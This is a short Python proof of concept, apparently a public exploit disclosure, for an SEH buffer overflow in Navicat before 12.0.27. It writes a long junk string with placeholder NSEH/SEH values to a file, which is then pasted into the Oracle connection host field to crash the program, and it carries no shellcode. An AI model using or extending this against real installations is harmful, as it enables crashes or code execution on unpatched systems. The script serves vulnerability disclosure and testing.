Navicat Oracle Connection Overflow

`#!/usr/bin/python  
# Title: Navicat < 12.0.27 Oracle Connection Overflow  
# Author: Kevin McGuigan  
# Twitter: @_h3xagram  
# Author Website: https://www.7elements.co.uk  
# Vendor Website: https://www.navicat.com  
# Date: 27/04/2018  
# Version: 12.0.26  
# Tested on Windows 7 32-bit  
# Vendor notified on 04/04/2018. Patch issued on 25/04/2018.  
  
  
# Generate file > Create new Oracle Connection > paste contents of "navicatPOC.txt" into host field and test connection to trigger overflow.   
filename="navicatPOC.txt"  
junk = "A" * 1502  
#nseh = "\x4C\x4C\x77\x04"  
#seh= "\x75\x2a\x01\x10"  
nseh = "B" * 4  
seh = "C" * 4  
fill = "D" * 4000  
buffer = junk + nseh + seh + fill  
textfile = open(filename , 'w')  
textfile.write(buffer)  
textfile.close()  
  
  
`